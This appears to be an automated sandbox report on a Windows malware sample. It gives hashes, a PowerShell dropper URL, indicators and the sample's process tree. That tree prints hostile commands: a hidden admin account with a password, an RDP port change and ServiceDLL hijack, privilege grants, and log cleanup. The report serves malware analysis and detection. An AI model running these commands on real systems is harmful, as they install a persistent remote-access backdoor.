df9df29f3c0d3af0e23a5f32be956469661f8f4006162442737452f5c5709744

Analysis

max time kernel
120s
max time network
124s
platform
windows10_x64
resource
win10-en-20211104
submitted
26-11-2021 10:11

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General

Target

d97a38c3bea371da6d9dfaee99ed039d.exe
Size

4.3MB
MD5

d97a38c3bea371da6d9dfaee99ed039d
SHA1

1fec3033a83b2ceea2f34bf81fc0929d2570fbdd
SHA256

df9df29f3c0d3af0e23a5f32be956469661f8f4006162442737452f5c5709744
SHA512

781c60f7af50fd41985afec6a8cc994656505c676a83624e624821a999a92bbb7d0924e06cd4171dbcbed436d34bfae5c865c9b9b6d31acb0f3c48877e34ea1d

Score

10^/10

persistence upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
28	920	powershell.exe
30	920	powershell.exe
31	920	powershell.exe
32	920	powershell.exe
34	920	powershell.exe
36	920	powershell.exe
38	920	powershell.exe
40	920	powershell.exe
42	920	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000a00000001abd8-354.dat	upx
behavioral2/files/0x000800000001abfa-355.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
360	Process not Found
360	Process not Found

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_1z33m4ri.2pt.ps1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI1EBF.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI1EFF.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI1EEF.tmp	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_05f115tr.pda.psm1	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI1F10.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI1F11.tmp	powershell.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1400 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\e1be3f182420a0a0 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c000000	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\SelfHealCount = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Flags = "71"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\DisplayName = "Trusted sites"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\http = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ftp = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZonesSecurityUpgrade = d17a577ee8d1d701	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Flags = "33"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Flags = "219"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\DisplayName = "Local intranet"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Flags = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\shell = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data."	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1200 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\2500 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1920	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	30	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	31	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	32	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	34	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1244	powershell.exe
1244	powershell.exe
1244	powershell.exe
1656	powershell.exe
1656	powershell.exe
1656	powershell.exe
3596	powershell.exe
3596	powershell.exe
3596	powershell.exe
2708	powershell.exe
2708	powershell.exe
2708	powershell.exe
1244	powershell.exe
1244	powershell.exe
1244	powershell.exe
920	powershell.exe
920	powershell.exe
920	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
640	Process not Found
640	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1244	powershell.exe
Token: SeDebugPrivilege	1656	powershell.exe
Token: SeIncreaseQuotaPrivilege	1656	powershell.exe
Token: SeSecurityPrivilege	1656	powershell.exe
Token: SeTakeOwnershipPrivilege	1656	powershell.exe
Token: SeLoadDriverPrivilege	1656	powershell.exe
Token: SeSystemProfilePrivilege	1656	powershell.exe
Token: SeSystemtimePrivilege	1656	powershell.exe
Token: SeProfSingleProcessPrivilege	1656	powershell.exe
Token: SeIncBasePriorityPrivilege	1656	powershell.exe
Token: SeCreatePagefilePrivilege	1656	powershell.exe
Token: SeBackupPrivilege	1656	powershell.exe
Token: SeRestorePrivilege	1656	powershell.exe
Token: SeShutdownPrivilege	1656	powershell.exe
Token: SeDebugPrivilege	1656	powershell.exe
Token: SeSystemEnvironmentPrivilege	1656	powershell.exe
Token: SeRemoteShutdownPrivilege	1656	powershell.exe
Token: SeUndockPrivilege	1656	powershell.exe
Token: SeManageVolumePrivilege	1656	powershell.exe
Token: 33	1656	powershell.exe
Token: 34	1656	powershell.exe
Token: 35	1656	powershell.exe
Token: 36	1656	powershell.exe
Token: SeDebugPrivilege	3596	powershell.exe
Token: SeIncreaseQuotaPrivilege	3596	powershell.exe
Token: SeSecurityPrivilege	3596	powershell.exe
Token: SeTakeOwnershipPrivilege	3596	powershell.exe
Token: SeLoadDriverPrivilege	3596	powershell.exe
Token: SeSystemProfilePrivilege	3596	powershell.exe
Token: SeSystemtimePrivilege	3596	powershell.exe
Token: SeProfSingleProcessPrivilege	3596	powershell.exe
Token: SeIncBasePriorityPrivilege	3596	powershell.exe
Token: SeCreatePagefilePrivilege	3596	powershell.exe
Token: SeBackupPrivilege	3596	powershell.exe
Token: SeRestorePrivilege	3596	powershell.exe
Token: SeShutdownPrivilege	3596	powershell.exe
Token: SeDebugPrivilege	3596	powershell.exe
Token: SeSystemEnvironmentPrivilege	3596	powershell.exe
Token: SeRemoteShutdownPrivilege	3596	powershell.exe
Token: SeUndockPrivilege	3596	powershell.exe
Token: SeManageVolumePrivilege	3596	powershell.exe
Token: 33	3596	powershell.exe
Token: 34	3596	powershell.exe
Token: 35	3596	powershell.exe
Token: 36	3596	powershell.exe
Token: SeDebugPrivilege	2708	powershell.exe
Token: SeIncreaseQuotaPrivilege	2708	powershell.exe
Token: SeSecurityPrivilege	2708	powershell.exe
Token: SeTakeOwnershipPrivilege	2708	powershell.exe
Token: SeLoadDriverPrivilege	2708	powershell.exe
Token: SeSystemProfilePrivilege	2708	powershell.exe
Token: SeSystemtimePrivilege	2708	powershell.exe
Token: SeProfSingleProcessPrivilege	2708	powershell.exe
Token: SeIncBasePriorityPrivilege	2708	powershell.exe
Token: SeCreatePagefilePrivilege	2708	powershell.exe
Token: SeBackupPrivilege	2708	powershell.exe
Token: SeRestorePrivilege	2708	powershell.exe
Token: SeShutdownPrivilege	2708	powershell.exe
Token: SeDebugPrivilege	2708	powershell.exe
Token: SeSystemEnvironmentPrivilege	2708	powershell.exe
Token: SeRemoteShutdownPrivilege	2708	powershell.exe
Token: SeUndockPrivilege	2708	powershell.exe
Token: SeManageVolumePrivilege	2708	powershell.exe
Token: 33	2708	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3724 wrote to memory of 1244	3724	d97a38c3bea371da6d9dfaee99ed039d.exe	70
PID 3724 wrote to memory of 1244	3724	d97a38c3bea371da6d9dfaee99ed039d.exe	70
PID 1244 wrote to memory of 688	1244	powershell.exe	72
PID 1244 wrote to memory of 688	1244	powershell.exe	72
PID 688 wrote to memory of 936	688	csc.exe	73
PID 688 wrote to memory of 936	688	csc.exe	73
PID 1244 wrote to memory of 1656	1244	powershell.exe	74
PID 1244 wrote to memory of 1656	1244	powershell.exe	74
PID 1244 wrote to memory of 3596	1244	powershell.exe	77
PID 1244 wrote to memory of 3596	1244	powershell.exe	77
PID 1244 wrote to memory of 2708	1244	powershell.exe	79
PID 1244 wrote to memory of 2708	1244	powershell.exe	79
PID 1244 wrote to memory of 2012	1244	powershell.exe	81
PID 1244 wrote to memory of 2012	1244	powershell.exe	81
PID 1244 wrote to memory of 1920	1244	powershell.exe	82
PID 1244 wrote to memory of 1920	1244	powershell.exe	82
PID 1244 wrote to memory of 1924	1244	powershell.exe	83
PID 1244 wrote to memory of 1924	1244	powershell.exe	83
PID 1244 wrote to memory of 1140	1244	powershell.exe	84
PID 1244 wrote to memory of 1140	1244	powershell.exe	84
PID 1140 wrote to memory of 3584	1140	net.exe	85
PID 1140 wrote to memory of 3584	1140	net.exe	85
PID 1244 wrote to memory of 3560	1244	powershell.exe	86
PID 1244 wrote to memory of 3560	1244	powershell.exe	86
PID 3560 wrote to memory of 3980	3560	cmd.exe	87
PID 3560 wrote to memory of 3980	3560	cmd.exe	87
PID 3980 wrote to memory of 3720	3980	cmd.exe	88
PID 3980 wrote to memory of 3720	3980	cmd.exe	88
PID 3720 wrote to memory of 3552	3720	net.exe	89
PID 3720 wrote to memory of 3552	3720	net.exe	89
PID 1244 wrote to memory of 1308	1244	powershell.exe	90
PID 1244 wrote to memory of 1308	1244	powershell.exe	90
PID 1308 wrote to memory of 780	1308	cmd.exe	91
PID 1308 wrote to memory of 780	1308	cmd.exe	91
PID 780 wrote to memory of 1764	780	cmd.exe	92
PID 780 wrote to memory of 1764	780	cmd.exe	92
PID 1764 wrote to memory of 2336	1764	net.exe	93
PID 1764 wrote to memory of 2336	1764	net.exe	93
PID 3828 wrote to memory of 4000	3828	cmd.exe	97
PID 3828 wrote to memory of 4000	3828	cmd.exe	97
PID 4000 wrote to memory of 700	4000	net.exe	98
PID 4000 wrote to memory of 700	4000	net.exe	98
PID 2796 wrote to memory of 2616	2796	cmd.exe	101
PID 2796 wrote to memory of 2616	2796	cmd.exe	101
PID 2616 wrote to memory of 1112	2616	net.exe	102
PID 2616 wrote to memory of 1112	2616	net.exe	102
PID 1620 wrote to memory of 3140	1620	cmd.exe	105
PID 1620 wrote to memory of 3140	1620	cmd.exe	105
PID 3140 wrote to memory of 412	3140	net.exe	106
PID 3140 wrote to memory of 412	3140	net.exe	106
PID 1276 wrote to memory of 3772	1276	cmd.exe	109
PID 1276 wrote to memory of 3772	1276	cmd.exe	109
PID 3772 wrote to memory of 600	3772	net.exe	110
PID 3772 wrote to memory of 600	3772	net.exe	110
PID 3944 wrote to memory of 2012	3944	cmd.exe	113
PID 3944 wrote to memory of 2012	3944	cmd.exe	113
PID 2012 wrote to memory of 1920	2012	net.exe	114
PID 2012 wrote to memory of 1920	2012	net.exe	114
PID 2736 wrote to memory of 1396	2736	cmd.exe	117
PID 2736 wrote to memory of 1396	2736	cmd.exe	117
PID 1396 wrote to memory of 1480	1396	net.exe	118
PID 1396 wrote to memory of 1480	1396	net.exe	118
PID 4008 wrote to memory of 772	4008	cmd.exe	121
PID 4008 wrote to memory of 772	4008	cmd.exe	121

C:\Users\Admin\AppData\Local\Temp\d97a38c3bea371da6d9dfaee99ed039d.exe
"C:\Users\Admin\AppData\Local\Temp\d97a38c3bea371da6d9dfaee99ed039d.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1244
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\j3djbceu\j3djbceu.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:688
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDF55.tmp" "c:\Users\Admin\AppData\Local\Temp\j3djbceu\CSCC6111EC0BD044A019D8F6D2CAFF17EF.TMP"
      4⤵
      PID:936
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1656
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3596
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2708
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:2012
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1920
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1924
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1140
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:3584
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3560
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3980
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3720
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:3552
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1308
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:780
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1764
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:2336
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1264
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:2536

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:3828
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4000
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:700

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc QdQesei1 /add
1⤵
- Suspicious use of WriteProcessMemory
PID:2796
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc QdQesei1 /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2616
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc QdQesei1 /add
    3⤵
    PID:1112

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1620
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3140
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:412

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" LUCNJVHX$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1276
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" LUCNJVHX$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3772
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" LUCNJVHX$ /ADD
    3⤵
    PID:600

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:3944
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2012
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1920

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc QdQesei1
1⤵
- Suspicious use of WriteProcessMemory
PID:2736
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc QdQesei1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1396
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc QdQesei1
    3⤵
    PID:1480

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
- Suspicious use of WriteProcessMemory
PID:4008
- C:\Windows\System32\Wbem\WMIC.exe
